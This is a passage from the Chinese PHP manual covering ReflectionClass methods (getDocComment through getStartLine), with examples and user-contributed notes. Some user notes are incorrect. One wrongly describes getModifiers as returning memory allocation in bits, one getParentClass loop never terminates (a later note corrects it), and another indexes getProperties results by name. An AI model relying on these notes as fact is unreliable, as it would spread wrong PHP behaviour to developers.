 * Before namespace.
 */
namespace Foo;

 /**
 * After namespace.
   */

// ^^ contains excessive leading + trailing white-space.
use Bar\Baz;
const FOO = 'BAR';
$ns = 'bar';
# function foo() {}
$a = 2 + 1;
#/** what? */
// ^^ A single-line T_DOC_COMMENT is invisible when commented out.
count(array());

class Foo {
}

$reflector = new \ReflectionClass('Foo\Foo');
var_dump($reflector->getDocComment());
?>
yields, despite all the garbage in between:

string(28) "/**
 * After namespace.
   */"

To sum up:

1. If there are multiple doc comments, the last encountered applies.

2. Removing the "After namespace." docblock yields FALSE.
   (The namespace delimits the scope.)

3. Uncommenting the function definition yields FALSE.
   (The doc comment applies to the function instead.)

4. Despite being an own language construct, the "const" constant declaration does not delimit the scope.

5. Any leading and trailing white-space before and after the T_DOC_COMMENT ("/**...*/") is ignored, but the entire string content within (including all white-space) is consumed literally/verbatim.

[PHP 5.4.29]
uramihsayibok, gmail, com 15-Sep-2010 09:50
According to what I can find in the PHP (5.3.2) source code, getDocComment will return the doc comment as the parser found it.
The doc comment (T_DOC_COMMENT) must begin with a /** - that's two asterisks, not one. The comment continues until the first */. A normal multi-line comment /*...*/ (T_COMMENT) does not count as a doc comment.

The doc comment itself includes those five characters, so <?php substr($doccomment, 3, -2) ?> will get you what's inside. A call to trim() after is recommended.
joe dot scylla at gmail dot com 14-Oct-2009 08:23
If you're using a bytecode cache like eAccelerator this method will return FALSE even if there is a properly formatted Docblock. It looks like the information required by this method gets stripped out by the bytecode cache.


获取最后一行的行数

  • ? ReflectionClass::getDocComment
  • ReflectionClass::getExtension ?
  • PHP Manual
  • ReflectionClass
  • 获取最后一行的行数

ReflectionClass::getEndLine

(PHP 5, PHP 7)

ReflectionClass::getEndLine — 获取最后一行的行数

说明

public ReflectionClass::getEndLine ( void ) : int

从用户定义的类获取其最后一行的行数。

参数

此函数没有参数。

返回值

返回用户定义的类最后一行的行数，如果未知则返回 FALSE。

范例

Example #1 ReflectionClass::getEndLine() 例子

<?php
// Test Class
class TestClass { }

$rc = new ReflectionClass('TestClass');

echo $rc->getEndLine();
?>

以上例程会输出：

3

参见

  • ReflectionClass::getStartLine() - 获取起始行号

User Contributed Notes

There are no user contributed notes for this page.


根据已定义的类获取所在扩展的 ReflectionExtension 对象

  • ? ReflectionClass::getEndLine
  • ReflectionClass::getExtensionName ?
  • PHP Manual
  • ReflectionClass
  • 根据已定义的类获取所在扩展的 ReflectionExtension 对象

ReflectionClass::getExtension

(PHP 5, PHP 7)

ReflectionClass::getExtension — 根据已定义的类获取所在扩展的 ReflectionExtension 对象

说明

public ReflectionClass::getExtension ( void ) : ReflectionExtension

获取已定义类的扩展的 ReflectionExtension 对象。

参数

此函数没有参数。

返回值

类所处的扩展的 ReflectionExtension 对象的表示，如果是用户定义的类则返回 NULL。

范例

Example #1 ReflectionClass::getExtension() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$extension = $class->getExtension();
var_dump($extension);
?>

以上例程会输出：

object(ReflectionExtension)#2 (1) {
  ["name"]=>
  string(10) "Reflection"
}

参见

  • ReflectionClass::getExtensionName() - 获取定义的类所在的扩展的名称

User Contributed Notes

There are no user contributed notes for this page.


获取定义的类所在的扩展的名称

  • ? ReflectionClass::getExtension
  • ReflectionClass::getFileName ?
  • PHP Manual
  • ReflectionClass
  • 获取定义的类所在的扩展的名称

ReflectionClass::getExtensionName

(PHP 5, PHP 7)

ReflectionClass::getExtensionName — 获取定义的类所在的扩展的名称

说明

public ReflectionClass::getExtensionName ( void ) : string

获取定义的类所在的扩展的名称。

参数

此函数没有参数。

返回值

获取定义的类所在的扩展的名称，如果是用户定义的类，则返回 FALSE。

范例

Example #1 ReflectionClass::getExtensionName() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$extension = $class->getExtensionName();
var_dump($extension);
?>

以上例程会输出：

string(10) "Reflection"

参见

  • ReflectionClass::getExtension() - 根据已定义的类获取所在扩展的 ReflectionExtension 对象

User Contributed Notes

There are no user contributed notes for this page.


获取定义类的文件名

  • ? ReflectionClass::getExtensionName
  • ReflectionClass::getInterfaceNames ?
  • PHP Manual
  • ReflectionClass
  • 获取定义类的文件名

ReflectionClass::getFileName

(PHP 5, PHP 7)

ReflectionClass::getFileName — 获取定义类的文件名

说明

public ReflectionClass::getFileName ( void ) : string

获取类被定义的文件的文件名。

参数

此函数没有参数。

返回值

返回类所定义的文件名。如果这个类是在 PHP 核心或 PHP 扩展中定义的，则返回 FALSE。

参见

  • ReflectionClass::getExtensionName() - 获取定义的类所在的扩展的名称

User Contributed Notes

robot at znframework dot com 25-Nov-2017 06:47
<?php

$a = new \ReflectionClass('ZN\Database\InternalDB');

var_dump($a->getFileName());

// Output:  C:\xampp7\htdocs\develop\Internal\Database\DB\InternalDB.php


获取接口（interface）名称

  • ? ReflectionClass::getFileName
  • ReflectionClass::getInterfaces ?
  • PHP Manual
  • ReflectionClass
  • 获取接口（interface）名称

ReflectionClass::getInterfaceNames

(PHP 5 >= 5.2.0, PHP 7)

ReflectionClass::getInterfaceNames — 获取接口（interface）名称

说明

public ReflectionClass::getInterfaceNames ( void ) : array

获取接口（interface）名称。

参数

此函数没有参数。

返回值

一个数值数组，接口（interface）的名称是数组的值。

范例

Example #1 ReflectionClass::getInterfaceNames() 例子

<?php
interface Foo { }

interface Bar { }

class Baz implements Foo, Bar { }

$rc1 = new ReflectionClass("Baz");

print_r($rc1->getInterfaceNames());
?>

以上例程的输出类似于：

Array
(
    [0] => Foo
    [1] => Bar
)

参见

  • ReflectionClass::getInterfaces() - 获取接口

User Contributed Notes

pinpin 27-Mar-2011 04:11
It seems the interface names are actually listed in a defined order:
- "extends" takes precedence over "implements" (i.e. first will be interfaces from (implemented in) the parent class (if any), then interfaces implemented in the class itself)
- when multiple interfaces are implemented at one time/level, it can be:
+ from an "implements" : they're listed in the defined order
+ from an "extends" (a class extends another class which implements multiple interfaces; or an interface extends multiple interfaces) : they're listed in REVERSE order

<?php
interface Foo {}
interface Bar {}
interface Other {}
interface Foobar extends Foo, Bar {}
interface Barfoo extends Bar, Foo {}

class Test1 implements Foo, Bar {}
class Test2 implements Bar, Foo {}

class Test3 extends Test1 {}
class Test4 extends Test2 {}

class Test5 extends Test1 implements Other {}

class Test6 implements Foobar, Other {}
class TestO implements Other {}
class Test7 extends TestO implements Barfoo {}

$r=new ReflectionClass('Test1');
print_r($r->getInterfaceNames()); // Foo, Bar

$r=new ReflectionClass('Test2');
print_r($r->getInterfaceNames()); // Bar, Foo

$r=new ReflectionClass('Test3');
print_r($r->getInterfaceNames()); // Bar, Foo

$r=new ReflectionClass('Test4');
print_r($r->getInterfaceNames()); // Foo, Bar

$r=new ReflectionClass('Test5');
print_r($r->getInterfaceNames()); // Bar, Foo, Other

$r=new ReflectionClass('Test6');
print_r($r->getInterfaceNames()); // Foobar, Bar, Foo, Other

$r=new ReflectionClass('Test7');
print_r($r->getInterfaceNames()); // Other, Barfoo, Foo, Bar
?>


获取接口

  • ? ReflectionClass::getInterfaceNames
  • ReflectionClass::getMethod ?
  • PHP Manual
  • ReflectionClass
  • 获取接口

ReflectionClass::getInterfaces

(PHP 5, PHP 7)

ReflectionClass::getInterfaces — 获取接口

说明

public ReflectionClass::getInterfaces ( void ) : array

获取接口。

参数

此函数没有参数。

返回值

接口的关联数组，数组键是接口（interface）的名称，数组的值是 ReflectionClass 对象。

范例

Example #1 ReflectionClass::getInterfaces() 例子

<?php
interface Foo { }

interface Bar { }

class Baz implements Foo, Bar { }

$rc1 = new ReflectionClass("Baz");

print_r($rc1->getInterfaces());
?>

以上例程的输出类似于：

Array
(
    [Foo] => ReflectionClass Object
        (
            [name] => Foo
        )

    [Bar] => ReflectionClass Object
        (
            [name] => Bar
        )

)

参见

  • ReflectionClass::getInterfaceNames() - 获取接口（interface）名称

User Contributed Notes

There are no user contributed notes for this page.


获取一个类方法的 ReflectionMethod。

  • ? ReflectionClass::getInterfaces
  • ReflectionClass::getMethods ?
  • PHP Manual
  • ReflectionClass
  • 获取一个类方法的 ReflectionMethod。

ReflectionClass::getMethod

(PHP 5, PHP 7)

ReflectionClass::getMethod — 获取一个类方法的 ReflectionMethod。

说明

public ReflectionClass::getMethod ( string $name ) : ReflectionMethod

获取一个类方法的 ReflectionMethod。

参数

name

要反射的方法名称。

返回值

一个 ReflectionMethod。

错误／异常

如果方法不存在则会抛出 ReflectionException 异常。

范例

Example #1 ReflectionClass::getMethod() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$method = $class->getMethod('getMethod');
var_dump($method);
?>

以上例程会输出：

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(9) "getMethod"
  ["class"]=>
  string(15) "ReflectionClass"
}

参见

  • ReflectionClass::getMethods() - 获取方法的数组

User Contributed Notes

Jarrod Nettles 22-Dec-2010 12:58
If you ever need to get the type hint of a parameter in a method use this.

<?php

//Target our class
$reflector = new ReflectionClass('MyClass');

//Get the parameters of a method
$parameters = $reflector->getMethod('FireCannon')->getParameters();

//Loop through each parameter and get the type
foreach($parameters as $param)
{
     //Before you call getClass() that class must be defined!
     echo $param->getClass()->name;
}

?>


获取方法的数组

  • ? ReflectionClass::getMethod
  • ReflectionClass::getModifiers ?
  • PHP Manual
  • ReflectionClass
  • 获取方法的数组

ReflectionClass::getMethods

(PHP 5, PHP 7)

ReflectionClass::getMethods — 获取方法的数组

说明

public ReflectionClass::getMethods ([ int $filter ] ) : array

获取类的方法的一个数组。

参数

filter

过滤结果为仅包含某些属性的方法。默认不过滤。

ReflectionMethod::IS_STATIC、
ReflectionMethod::IS_PUBLIC、
ReflectionMethod::IS_PROTECTED、
ReflectionMethod::IS_PRIVATE、
ReflectionMethod::IS_ABSTRACT、
ReflectionMethod::IS_FINAL 的按位或（OR），就会返回任意满足条件的属性。

Note: 请注意：其他位操作，例如 ~ 无法按预期运行。这个例子也就是说，无法获取所有的非静态方法。

返回值

包含每个方法 ReflectionMethod 对象的数组。

范例

Example #1 ReflectionClass::getMethods() 的基本用法

<?php
class Apple {
    public function firstMethod() { }
    final protected function secondMethod() { }
    private static function thirdMethod() { }
}

$class = new ReflectionClass('Apple');
$methods = $class->getMethods();
var_dump($methods);
?>

以上例程会输出：

array(3) {
  [0]=>
  &object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(11) "firstMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(12) "secondMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [2]=>
  &object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(11) "thirdMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

Example #2 从 ReflectionClass::getMethods() 中过滤结果

<?php
class Apple {
    public function firstMethod() { }
    final protected function secondMethod() { }
    private static function thirdMethod() { }
}

$class = new ReflectionClass('Apple');
$methods = $class->getMethods(ReflectionMethod::IS_STATIC | ReflectionMethod::IS_FINAL);
var_dump($methods);
?>

以上例程会输出：

array(2) {
  [0]=>
  &object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(12) "secondMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(11) "thirdMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

参见

  • ReflectionClass::getMethod() - 获取一个类方法的 ReflectionMethod。
  • get_class_methods() - 返回由类的方法名组成的数组

User Contributed Notes

tom at r dot je 11-Jun-2014 05:40
ReflectionClass::getMethods() sorts the methods by class (lowest in the inheritance tree first) then by the order they are defined in the class definition:

<?php
class A {
    public function method1() {

    }

    public function method2() {

    }
}

class B extends A {

    public function method3() {

    }

    public function method4() {

    }
}

$class = new ReflectionClass('B');
print_r($class->getMethods());
?>

This will output:

Array
(
    [0] => ReflectionMethod Object
        (
            [name] => method3
            [class] => B
        )

    [1] => ReflectionMethod Object
        (
            [name] => method4
            [class] => B
        )

    [2] => ReflectionMethod Object
        (
            [name] => method1
            [class] => A
        )

    [3] => ReflectionMethod Object
        (
            [name] => method2
            [class] => A
        )

)
x_atrix at yahoo dot com 10-Jul-2013 05:00
Note, for ReflectionClass::getMethods() not all methods in a final class are final, just the ones that have explicit modifier.
If you want to use an and operator for the filter, here is a simple implementation
<?php
final class Apple {
    public function publicMethod() { }
    public final function publicFinalMethod() { }
    protected final function protectedFinalMethod() { }
    private static function privateStaticMethod() { }
}

class MyReflection extends ReflectionClass {
    public function __construct($argument) {
        parent::__construct($argument);
    }

    /**
     * (non-PHPdoc)
     * @see ReflectionClass::getMethods()
     */
    public function getMethods($filter = null, $useAndOperator = true) {
        if ($useAndOperator !== true) {
            return parent::getMethods($filter);
        }

        $methods = parent::getMethods($filter);
        $results = array();

        foreach ($methods as $method) {
            if (($method->getModifiers() & $filter) === $filter) {
                $results[] = $method;
            }
        }

        return $results;
    }
}

$class = new MyReflection('Apple');
$methods = $class->getMethods(ReflectionMethod::IS_FINAL | ReflectionMethod::IS_PUBLIC);
var_dump($methods);

$methods = $class->getMethods(ReflectionMethod::IS_FINAL | ReflectionMethod::IS_PUBLIC, false);
var_dump($methods);
?>

Result:
array(1) {
  [0]=>
  object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(17) "publicFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

array(3) {
  [0]=>
  &object(ReflectionMethod)#5 (2) {
    ["name"]=>
    string(12) "publicMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(17) "publicFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [2]=>
  &object(ReflectionMethod)#6 (2) {
    ["name"]=>
    string(20) "protectedFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
}
deminy at deminy dot net 22-Jun-2011 09:24
Method ReflectionClass::getMethods doesn't work constantly across different versions of PHP. For following code piece

<?php
class Dummy implements Iterator
{
    public function current () {}
    public function next () {}
    public function key () {}
    public function valid () {}
    public function rewind () {}
}

$reflection = new ReflectionClass('Dummy');
$aMethods = $reflection->getMethods();
echo '# of methods: ', count($aMethods), "\n";
?>

, it outputs "# of methods: 10" on PHP 5.2.14 and PHP 5.2.17, including all methods defined in the class itself and in the interface no matter if a method has been implemented or overridden; however, it returns "# of methods: 5" on PHP 5.3.5. Based on some other tests did by my colleagues, I assume it also returns "# of methods: 5" on PHP 5.2.10 and PHP 5.3.6.


获取类的修饰符

  • ? ReflectionClass::getMethods
  • ReflectionClass::getName ?
  • PHP Manual
  • ReflectionClass
  • 获取类的修饰符

ReflectionClass::getModifiers

(PHP 5, PHP 7)

ReflectionClass::getModifiers — 获取类的修饰符

说明

public ReflectionClass::getModifiers ( void ) : int

返回这个类访问修饰符的位字段。

参数

此函数没有参数。

返回值

返回 修饰符常量 的位掩码。

参见

  • ReflectionClass::getProperties() - 获取一组属性
  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

Nicola Pietroluongo 26-Feb-2015 01:17
It's the amount of memory allocation in bit.
By default many systems allocate 1048576 bit (1 Megabit).

/* Example 1 */

class Test {}
$classTest = new Test();
$reflectionClass = new \ReflectionClass('Test');
$classModifiers = $reflectionClass->getModifiers();
var_export($classModifiers);

//output
1048576

/* Example 2 */

class Test {}
//the constructor is missing
$reflectionClass = new \ReflectionClass('Test');
$classModifiers = $reflectionClass->getModifiers();
var_export($classModifiers);

//output
0


获取类名

  • ? ReflectionClass::getModifiers
  • ReflectionClass::getNamespaceName ?
  • PHP Manual
  • ReflectionClass
  • 获取类名

ReflectionClass::getName

(PHP 5, PHP 7)

ReflectionClass::getName — 获取类名

说明

public ReflectionClass::getName ( void ) : string

获取类的名称。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The class name.

范例

Example #1 ReflectionClass::getName() 例子

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

以上例程会输出：

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

参见

  • ReflectionClass::getNamespaceName() - 获取命名空间的名称

User Contributed Notes

There are no user contributed notes for this page.


获取命名空间的名称

  • ? ReflectionClass::getName
  • ReflectionClass::getParentClass ?
  • PHP Manual
  • ReflectionClass
  • 获取命名空间的名称

ReflectionClass::getNamespaceName

(PHP 5 >= 5.3.0, PHP 7)

ReflectionClass::getNamespaceName — 获取命名空间的名称

说明

public ReflectionClass::getNamespaceName ( void ) : string

获取命名空间（namespace）的名称。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

命名空间的名称。

范例

Example #1 ReflectionClass::getNamespaceName() 例子

<?php
namespace A\B;

class Foo { }

$class = new \ReflectionClass('stdClass');

var_dump($class->inNamespace());
var_dump($class->getName());
var_dump($class->getNamespaceName());
var_dump($class->getShortName());

$class = new \ReflectionClass('A\\B\\Foo');

var_dump($class->inNamespace());
var_dump($class->getName());
var_dump($class->getNamespaceName());
var_dump($class->getShortName());
?>

以上例程会输出：

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

参见

  • ReflectionClass::getParentClass() - 获取父类
  • namespaces

User Contributed Notes

francois 14-Aug-2011 04:08
If the object does not belong to a namespace, an empty string is returned


获取父类

  • ? ReflectionClass::getNamespaceName
  • ReflectionClass::getProperties ?
  • PHP Manual
  • ReflectionClass
  • 获取父类

ReflectionClass::getParentClass

(PHP 5, PHP 7)

ReflectionClass::getParentClass — 获取父类

说明

public ReflectionClass::getParentClass ( void ) : ReflectionClass

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

一个 ReflectionClass。

参见

  • ReflectionClass::__construct() - 初始化 ReflectionClass 类

User Contributed Notes

isaac dot z dot foster at gmail dot com 15-Jun-2013 09:02
Quick correction, the code for getting all parent classes below has a "typo", you need to reset the $class variable to the parent class instance, otherwise it just endlessly loops:

        $class = new ReflectionClass('classname');

        $parents = array();

        while ($parent = $class->getParentClass()) {
            $parents[] = $parent->getName();
            $class = $parent;
        }

        echo "Parents: " . implode(", ", $parents);
havelangep at hotmail dot com 16-Dec-2010 01:26
Here is a "replacement" for is_a that will additionally look both into the extended classes and in the implemented interfaces

<?php
/**
     * Check if a class extends or implements a specific class/interface
     * @param string $search The class or interface name to look for
     * @param string $className The class name of the object to compare to
     * @return bool
     */
    function IsExtendsOrImplements( $search, $className ) {
        $class = new ReflectionClass( $className );
        if( false === $class ) {
            return false;
        }
        do {
            $name = $class->getName();
            if( $search == $name ) {
                return true;
            }
            $interfaces = $class->getInterfaceNames();
            if( is_array( $interfaces ) && in_array( $search, $interfaces )) {
                return true;
            }
            $class = $class->getParentClass();
        } while( false !== $class );
        return false;
    }
?>
jochem at drecomm dot nl 18-Nov-2010 04:34
When you want to find all parents (parent, parent of parent, parent of parent's parent and so on) try:

<?php
$class = new ReflectionClass('whatever');

$parents = array();

while ($parent = $class->getParentClass()) {
    $parents[] = $parent->getName();
}

echo "Parents: " . implode(", ", $parents);
?>

ReflectionClass::getParentClass() can return a ReflectionClass object of the parent class or false if no parent.

(PHP Version 5.1.6)


获取一组属性

  • ? ReflectionClass::getParentClass
  • ReflectionClass::getProperty ?
  • PHP Manual
  • ReflectionClass
  • 获取一组属性

ReflectionClass::getProperties

(PHP 5, PHP 7)

ReflectionClass::getProperties — 获取一组属性

说明

public ReflectionClass::getProperties ([ int $filter ] ) : array

获取反射过的属性。

参数

filter

可选的过滤器，过滤为所需类型的属性。它使用 ReflectionProperty 常量 来配置，默认获取所有类型的属性。

返回值

ReflectionProperty 对象的数组。

范例

Example #1 ReflectionClass::getProperties() 过滤例子

这个例子延时了可选 filter 参数的用法，例子里实际上忽略了私有属性。

<?php
class Foo {
    public    $foo  = 1;
    protected $bar  = 2;
    private   $baz  = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$props   = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED);

foreach ($props as $prop) {
    print $prop->getName() . "\n";
}

var_dump($props);

?>

以上例程的输出类似于：

foo
bar
array(2) {
  [0]=>
  object(ReflectionProperty)#3 (2) {
    ["name"]=>
    string(3) "foo"
    ["class"]=>
    string(3) "Foo"
  }
  [1]=>
  object(ReflectionProperty)#4 (2) {
    ["name"]=>
    string(3) "bar"
    ["class"]=>
    string(3) "Foo"
  }
}

参见

  • ReflectionClass::getProperty() - 获取类的一个属性的 ReflectionProperty
  • ReflectionProperty
  • ReflectionProperty 修饰符常量

User Contributed Notes

kelunik at php dot net 21-Jan-2018 10:58
Note that inherited properties are returned, but no private properties of parent classes. Depending on the use case, you need to check that, too.

do {
    foreach ($reflectionClass->getProperties() as $property) {
        /* ... */
    }
} while ($reflectionClass = $reflectionClass->getParentClass());
postmaster at greg0ire dot fr 08-Jul-2014 09:23
The code in the first example actually does get inherited properties with at least php 5.5.9 . I don't know if / when this behavior changed.

Here is the output:
    array(2) {
     [0] =>
     class ReflectionProperty#2 (2) {
       public $name =>
       string(2) "a2"
       public $class =>
       string(2) "AA"
     }
     [1] =>
     class ReflectionProperty#3 (2) {
       public $name =>
       string(2) "a1"
       public $class =>
       string(1) "A"
     }
    }
Yzmir Ramirez 16-Oct-2010 08:53
Looks like you can access public, protected, private variables by casting the object to an array (useful for Unit Testing).  However casting to an array still won't allow you access to protected and private static variables.

In PHP 5.3.0+ use ReflectionProperty::setAccessable(true);

<?php

echo "PHP Version: ".phpversion()."\n";

class Foo {
    public    $foo  = 'public';
    protected $bar  = 'protected';
    private   $baz  = 'private';

    public static    $sfoo  = 'public static';
    protected static $sbar  = 'protected static';
    private static   $sbaz  = 'private static';

    const COO = 'const';

}

$obj = new Foo;

$arr = (array)$obj;

print_r($arr);

echo "Accessing Public Static: ".Foo::$sfoo."\n";
// echo Foo::$sbar."\n"; // Fatal error: Cannot access protected property Foo::$sbar
// echo Foo::$sbaz."\n"; // Fatal error: Cannot access private property Foo::$sbaz
echo "Accessing Constant: ".Foo::COO."\n";
?>

PHP Version: 5.2.12
Array
(
    [foo] => public
    [*bar] => protected
    [Foobaz] => private
)
Accessing Public Static: public static
Accessing Constant: const

PHP Version: 5.1.6
Array
(
    [foo] => public
    [*bar] => protected
    [Foobaz] => private
)
Accessing Public Static: public static
Accessing Constant: const
mcurtis 28-Jan-2009 02:41
It should be noted that the 'filter' parameter in the getProperties(filter) method is expected to be of type long.  Not sure why, but it doesn't function as a way of passing in a string to fetch a subset of properties by string match.
muratyaman at gmail dot com 22-Jan-2009 07:47
Some may find this useful.

<?php
/**
 * Recursive function to get an associative array of class properties by property name => ReflectionProperty() object
 * including inherited ones from extended classes
 * @param string $className Class name
 * @param string $types Any combination of <b>public, private, protected, static</b>
 * @return array
 */
function getClassProperties($className, $types='public'){
    $ref = new ReflectionClass($className);
    $props = $ref->getProperties();
    $props_arr = array();
    foreach($props as $prop){
        $f = $prop->getName();

        if($prop->isPublic() and (stripos($types, 'public') === FALSE)) continue;
        if($prop->isPrivate() and (stripos($types, 'private') === FALSE)) continue;
        if($prop->isProtected() and (stripos($types, 'protected') === FALSE)) continue;
        if($prop->isStatic() and (stripos($types, 'static') === FALSE)) continue;

        $props_arr[$f] = $prop;
    }
    if($parentClass = $ref->getParentClass()){
        $parent_props_arr = getClassProperties($parentClass->getName());//RECURSION
        if(count($parent_props_arr) > 0)
            $props_arr = array_merge($parent_props_arr, $props_arr);
    }
    return $props_arr;
}

//USAGE

class A{
  public $a1;

    function abc(){
        //do something
    }
}

class AA extends A{
    public $a2;

    function edf(){
        //do something
    }
}

class AAA extends AA{
  //may not have extra properties, but may have extra methods
    function ghi(){
        //ok
    }
}

//$ref = new ReflectionClass('AAA'); $props = $ref->getProperties();//This will get no properties!
$props_arr = getClassProperties('AAA', 'public');//Use this
var_dump($props_arr);
/*
OUTPUT on PHP5.2.6:
array
  'a1' =>
    object(ReflectionProperty)[4]
      public 'name' => string 'a1' (length=2)
      public 'class' => string 'AAA' (length=3)
  'a2' =>
    object(ReflectionProperty)[3]
      public 'name' => string 'a2' (length=2)
      public 'class' => string 'AAA' (length=3)

*/

?>
david dot thalmann at gmail dot com 05-Jan-2009 08:19
With PHP 5.3 protected or private properties are easy to access with setAccessible(). However, it's sometimes needed (e.g. Unit Tests) and here is a workaround for getValue():

<?php

$class = new ReflectionClass('SomeClass');
$props = $class->getProperties();
// $propsStatic = $class->getStaticProperties();

$myPrivatePropertyValue = $props['aPrivateProperty'];

?>

Note that it wont work if you access the property directly with getProperty().


获取类的一个属性的 ReflectionProperty

  • ? ReflectionClass::getProperties
  • ReflectionClass::getReflectionConstant ?
  • PHP Manual
  • ReflectionClass
  • 获取类的一个属性的 ReflectionProperty

ReflectionClass::getProperty

(PHP 5, PHP 7)

ReflectionClass::getProperty — 获取类的一个属性的 ReflectionProperty

说明

public ReflectionClass::getProperty ( string $name ) : ReflectionProperty

获取类的一个属性的 ReflectionProperty。

参数

name

属性名。

返回值

一个 ReflectionProperty。

范例

Example #1 ReflectionClass::getProperty() 的基本用法

<?php
$class = new ReflectionClass('ReflectionClass');
$property = $class->getProperty('name');
var_dump($property);
?>

以上例程会输出：

object(ReflectionProperty)#2 (2) {
  ["name"]=>
  string(4) "name"
  ["class"]=>
  string(15) "ReflectionClass"
}

参见

  • ReflectionClass::getProperties() - 获取一组属性

User Contributed Notes

dohpaz42 16-Jun-2015 04:16
Accessing private properties is possible, but care must be taken if that private property was defined lower into the inheritance chain. For example, if class A extends class B, and class B defines a private property called 'foo', getProperty will throw a ReflectionException.

Instead, you can loop over getParentClass until it returns false to look for the private property, at which point you can access and/or modify its value as needed.
eric at naeseth dot com 02-Aug-2011 03:38
If the class doesn't have a property with the given name, a ReflectionException will be raised.


Gets a ReflectionClassConstant for a class's constant

  • ? ReflectionClass::getProperty
  • ReflectionClass::getReflectionConstants ?
  • PHP Manual
  • ReflectionClass
  • Gets a ReflectionClassConstant for a class's constant

ReflectionClass::getReflectionConstant

(PHP 7 >= 7.1.0)

ReflectionClass::getReflectionConstant — Gets a ReflectionClassConstant for a class's constant

说明

public ReflectionClass::getReflectionConstant ( string $name ) : ReflectionClassConstant

Gets a ReflectionClassConstant for a class's property.

参数

name

The class constant name.

返回值

A ReflectionClassConstant.

参见

  • ReflectionClass::getReflectionConstants() - Gets class constants
  • ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


Gets class constants

  • ? ReflectionClass::getReflectionConstant
  • ReflectionClass::getShortName ?
  • PHP Manual
  • ReflectionClass
  • Gets class constants

ReflectionClass::getReflectionConstants

(PHP 7 >= 7.1.0)

ReflectionClass::getReflectionConstants — Gets class constants

说明

public ReflectionClass::getReflectionConstants ( void ) : array

Retrieves reflected constants.

参数

此函数没有参数。

返回值

An array of ReflectionClassConstant objects.

范例

Example #1 Basic ReflectionClass::getReflectionConstants() example

<?php
class Foo {
    public    const FOO  = 1;
    protected const BAR  = 2;
    private   const BAZ  = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$consts  = $reflect->getReflectionConstants();

foreach ($consts as $const) {
    print $const->getName() . "\n";
}

var_dump($consts);

?>

以上例程的输出类似于：

FOO
BAR
BAZ
array(3) {
  [0]=>
  object(ReflectionClassConstant)#3 (2) {
    ["name"]=>
    string(3) "FOO"
    ["class"]=>
    string(3) "Foo"
  }
  [1]=>
  object(ReflectionClassConstant)#4 (2) {
    ["name"]=>
    string(3) "BAR"
    ["class"]=>
    string(3) "Foo"
  }
  [2]=>
  object(ReflectionClassConstant)#5 (2) {
    ["name"]=>
    string(3) "BAZ"
    ["class"]=>
    string(3) "Foo"
  }
}

参见

  • ReflectionClass::getReflectionConstant() - Gets a ReflectionClassConstant for a class's constant
  • ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


获取短名

  • ? ReflectionClass::getReflectionConstants
  • ReflectionClass::getStartLine ?
  • PHP Manual
  • ReflectionClass
  • 获取短名

ReflectionClass::getShortName

(PHP 5 >= 5.3.0, PHP 7)

ReflectionClass::getShortName — 获取短名

说明

public ReflectionClass::getShortName ( void ) : string

获取类的短名，就是不含命名空间（namespace）的那一部分。

参数

此函数没有参数。

返回值

类的短名。

范例

Example #1 ReflectionClass::getShortName() 例子

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

以上例程会输出：

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

参见

  • ReflectionClass::getName() - 获取类名

User Contributed Notes

There are no user contributed notes for this page.


获取起始行号

  • ? ReflectionClass::getShortName
  • ReflectionClass::getStaticProperties ?
  • PHP Manual
  • ReflectionClass
  • 获取起始行号

ReflectionClass::getStartLine

(PHP 5, PHP 7)

ReflectionClass::getStartLine — 获取起始行号

说明

public ReflectionClass::getStartLine ( void ) : int

获取起始的行号。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

起始的行号，类型是 integer 的。

参见

  • ReflectionClass::getEndLine() - 获取最后一行的行数

User Contributed Notes

There are no user contributed notes for this page.


